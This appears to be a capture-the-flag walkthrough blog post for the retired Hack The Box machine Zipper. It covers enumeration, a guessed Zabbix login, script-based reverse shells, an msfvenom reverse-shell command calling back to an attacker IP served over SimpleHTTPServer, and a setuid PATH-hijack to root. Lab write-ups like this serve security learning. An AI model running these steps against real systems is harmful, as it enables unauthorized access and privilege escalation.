This post documents the complete walkthrough of Zipper, a retired vulnerable VM created by burmat, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

Background

Zipper is retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -T5 -oN nmap.txt 10.10.10.108
...
PORT      STATE SERVICE       REASON         VERSION
22/tcp    open  ssh           syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)                 
| ssh-hostkey:
|   2048 59:20:a3:a0:98:f2:a7:14:1e:08:e0:9b:81:72:99:0e (RSA)
|   256 aa:fe:25:f8:21:24:7c:fc:b5:4b:5f:05:24:69:4c:76 (ECDSA)
|_  256 89:28:37:e2:b6:cc:d5:80:38:1f:b2:6a:3a:c3:a1:84 (ED25519)
80/tcp    open  http          syn-ack ttl 62 Apache/2.4.29 (Ubuntu)
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
10050/tcp open  zabbix-agent? syn-ack ttl 63

nmap finds 22/tcp and 80/tcp open. Nothing unusual. In any case, let’s enumerate the http service further.

Directory/File Enumeration

As usual, my first goto tool is wfuzz. The wordlist I’m using is SecLists’ quickhits.txt.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt --hc '403,404' http://10.10.10.108/FUZZ
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer                        *
********************************************************

Target: http://10.10.10.108/FUZZ
Total requests: 2371

==================================================================
ID      Response   Lines      Word         Chars          Payload    
==================================================================

002365:  C=200     31 L      188 W         3105 Ch        "/zabbix/"

Total time: 79.53206
Processed Requests: 2371
Filtered Requests: 2370
Requests/sec.: 29.81187

Hmm, interesting. This is how it looks like.

688737d1.png

Hmm. Guest login is allowed.

56758d40.png

I knew I had to try my luck at the login when I saw Zapper’s Backup Script.

755eae7f.png

I tried (zapper:zapper).

c0c5384c.png

And this is the result.

4ee00943.png

A quick check with Zabbix 3.0 documentation reveals that GUI access although enabled by default, can be disabled. Alternatively, one can still access the Zabbix server through the web-based application programming interface (or API). In fact, the Zabbix CLI Tools Wiki provides links to a couple of Zabbix CLI tools that allows us to interact with the Zabbix server through a text-based interface.

I’ve chosen zabbix-cli simply because it’s available in the Kali repository. The instructions to install, configure zabbix-cli is beyond the scope of this write-up.

7ef55747.png

Voila. I have access to the Zabbix server.

6b6aba6e.png

I’ll create a user and place it at the “Zabbix administrators” user group, where GUI access is allowed.

8ab1c558.png

I created a user ironman with the password marvelstud10s.

065bc9a5.png

There you have it. The good thing about Zabbix is the ability to create and run scripts.

c901f164.png

Let’s create a reverse shell script with nc like so.

a3ea4dc4.png

The script can be triggered by clicking on any host to bring up the context menu like so.

a26f8031.png

I have shell. Too bad it’s a shell to the Zabbix server container.

e4d85da0.png

I wonder what this means.

1b94fe82.png

Anyway, I found a /backups directory containing two password-protected 7-zip files.

7dcee928.png

I also found a copy of backup_script.sh lying around.

ef6a93a3.png

The password is in backup_script.sh!

db8e3bd0.png

Let’s keep the password in mind. It might be useful later.

Low-Privilege Shell

I found the key to getting a low-privilege shell while exploring the Zabbix server. I noticed that there’s a host Zipper installed with a Zabbix Agent, and one can create an item to instruct the agent to run system commands like so!

f37793ae.png

I generated a reverse shell with msfvenom. Prior to this, I’ve experimented with various commands and verified that the host is running 32-bit Ubuntu. Next, to facilitate transfer of the reverse shell, I host the executable with Python’s SimpleHTTPServer.

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.13.52 LPORT=4321 -f elf -o rev
# python -m SimpleHTTPServer 80

The moment I caught the reverse shell, I immediately deleted the item to prevent the command from running again.

ae58be7b.png

Let’s upgrade the shell to a full TTY since Python 3 is available.

c494c229.png

I’m in Zipper alright! Recall the password earlier? Let’s see if we can su to zapper.

22f6a11b.png

Perfect. user.txt is in zapper’s home directory.

10518a8d.png

Privilege Escalation

During enumeration of zapper’s account, I notice a setuid executable at /home/zapper/utils.

5450d341.png

The privilege escalation is pretty straight forward. The executable uses system(3) library function to run systemctl. It’s the classic Linux executable search path attack. Check out the path to systemctl and the $PATH environment variable.

094663d5.png

The system(3) library function essentially searches for systemctl in the first path that it finds. What happens if we place a malicious systemctl executable in a path we control? Privilege escalation!

Let’s write a malicious systemctl like so.

52c8fe46.png

Compile the code with gcc and export PATH with /tmp as the first path to search.

ce130c84.png

Executing zabbix-service is all that’s left to be root.

4154a6f6.png

Getting root.txt is trivial with a root shell.

6a5f402a.png

:dancer: